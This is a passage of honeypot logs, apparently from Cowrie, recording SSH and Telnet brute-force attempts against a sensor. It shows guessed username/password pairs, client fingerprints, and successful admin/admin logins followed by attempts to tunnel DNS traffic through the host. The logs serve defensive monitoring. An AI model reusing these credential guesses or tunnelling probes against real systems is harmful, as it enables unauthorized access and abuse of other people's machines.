eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:22.494985Z","src_ip":"87.251.64.176","session":"7d838aac5a13","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:22.785201Z","src_ip":"87.251.64.176","session":"7d838aac5a13","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:22.883468Z","session":"7d838aac5a13","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:22.982039Z","src_ip":"87.251.64.176","session":"7d838aac5a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:23.081017Z","src_ip":"87.251.64.176","session":"7d838aac5a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.876117706298828,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:34.746250Z","src_ip":"38.25.60.68","session":"be26a59e2259","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55544,"dst_ip":"10.17.0.5","dst_port":22,"session":"515e43d33fb7","protocol":"ssh","message":"New connection: 103.15.226.202:55544 (10.17.0.5:22) [session: 515e43d33fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:41.267358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:41.272020Z","src_ip":"103.15.226.202","session":"515e43d33fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:41.515362Z","src_ip":"103.15.226.202","session":"515e43d33fb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@12345","message":"login attempt [root/P@ssw0rd@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:42.244740Z","src_ip":"103.15.226.202","session":"515e43d33fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:44:43.491109Z","src_ip":"103.15.226.202","session":"515e43d33fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00443840026855,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:45:16.670698Z","src_ip":"212.55.149.117","session":"7025e2dbd640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39529,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bcd27ed739a","protocol":"telnet","message":"New connection: 212.55.149.117:39529 (10.17.0.5:23) [session: 0bcd27ed739a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:46:17.149377Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.220.82","src_port":42866,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8075da64c79","protocol":"telnet","message":"New connection: 102.210.220.82:42866 (10.17.0.5:23) [session: a8075da64c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:46:38.241090Z"}
{"eventid":"cowrie.session.closed","duration":12.957829236984253,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:46:51.198817Z","src_ip":"102.210.220.82","session":"a8075da64c79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":51495,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b64b03a40cb","protocol":"telnet","message":"New connection: 212.55.149.117:51495 (10.17.0.5:23) [session: 2b64b03a40cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:34.913927Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58202,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1e76ae7c678","protocol":"ssh","message":"New connection: 87.251.64.176:58202 (10.17.0.5:22) [session: b1e76ae7c678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:35.627618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:35.632447Z","src_ip":"87.251.64.176","session":"b1e76ae7c678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:35.729031Z","src_ip":"87.251.64.176","session":"b1e76ae7c678","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:36.018990Z","src_ip":"87.251.64.176","session":"b1e76ae7c678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:36.118434Z","session":"b1e76ae7c678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:36.216803Z","src_ip":"87.251.64.176","session":"b1e76ae7c678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:36.319877Z","src_ip":"87.251.64.176","session":"b1e76ae7c678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":60236,"dst_ip":"10.17.0.5","dst_port":22,"session":"73692713ba79","protocol":"ssh","message":"New connection: 94.26.106.31:60236 (10.17.0.5:22) [session: 73692713ba79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:47.029463Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:47.033630Z","src_ip":"94.26.106.31","session":"73692713ba79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":60248,"dst_ip":"10.17.0.5","dst_port":22,"session":"63dc56fc686b","protocol":"ssh","message":"New connection: 94.26.106.31:60248 (10.17.0.5:22) [session: 63dc56fc686b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:47.150389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:47.154942Z","src_ip":"94.26.106.31","session":"63dc56fc686b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:47.238839Z","src_ip":"94.26.106.31","session":"63dc56fc686b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q7r8s9t01","message":"login attempt [root/Q7r8s9t01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:47.407932Z","src_ip":"94.26.106.31","session":"63dc56fc686b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:47:48.494537Z","src_ip":"94.26.106.31","session":"63dc56fc686b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00156450271606,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:48:17.150842Z","src_ip":"212.55.149.117","session":"0bcd27ed739a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45676,"dst_ip":"10.17.0.5","dst_port":22,"session":"a190a237ea6e","protocol":"ssh","message":"New connection: 103.15.226.202:45676 (10.17.0.5:22) [session: a190a237ea6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:48:19.172238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:48:19.176738Z","src_ip":"103.15.226.202","session":"a190a237ea6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:48:19.419322Z","src_ip":"103.15.226.202","session":"a190a237ea6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@#QWE","message":"login attempt [root/123qwe!@#QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:48:20.146609Z","src_ip":"103.15.226.202","session":"a190a237ea6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:48:21.391830Z","src_ip":"103.15.226.202","session":"a190a237ea6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.64617991447449,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:48:34.559992Z","src_ip":"212.55.149.117","session":"2b64b03a40cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":65287,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b971037b64a","protocol":"telnet","message":"New connection: 212.55.149.117:65287 (10.17.0.5:23) [session: 9b971037b64a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:49:02.401768Z"}
{"eventid":"cowrie.session.closed","duration":59.470203161239624,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:50:01.871670Z","src_ip":"212.55.149.117","session":"9b971037b64a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":43938,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c9ab182b495","protocol":"ssh","message":"New connection: 80.94.92.186:43938 (159.203.135.109:22) [session: 5c9ab182b495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:50:03.493186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:50:03.499845Z","src_ip":"80.94.92.186","session":"5c9ab182b495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:50:03.608067Z","src_ip":"80.94.92.186","session":"5c9ab182b495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:50:04.300758Z","src_ip":"80.94.92.186","session":"5c9ab182b495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:50:05.432550Z","src_ip":"80.94.92.186","session":"5c9ab182b495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":36086,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c4de3b5be95","protocol":"ssh","message":"New connection: 193.24.211.100:36086 (159.203.135.109:22) [session: 6c4de3b5be95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:51:22.848490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:51:22.853385Z","src_ip":"193.24.211.100","session":"6c4de3b5be95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:51:22.967538Z","src_ip":"193.24.211.100","session":"6c4de3b5be95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"interface","message":"login attempt [root/interface] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:51:23.394555Z","src_ip":"193.24.211.100","session":"6c4de3b5be95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:51:24.506985Z","src_ip":"193.24.211.100","session":"6c4de3b5be95","protocol":"ssh"}
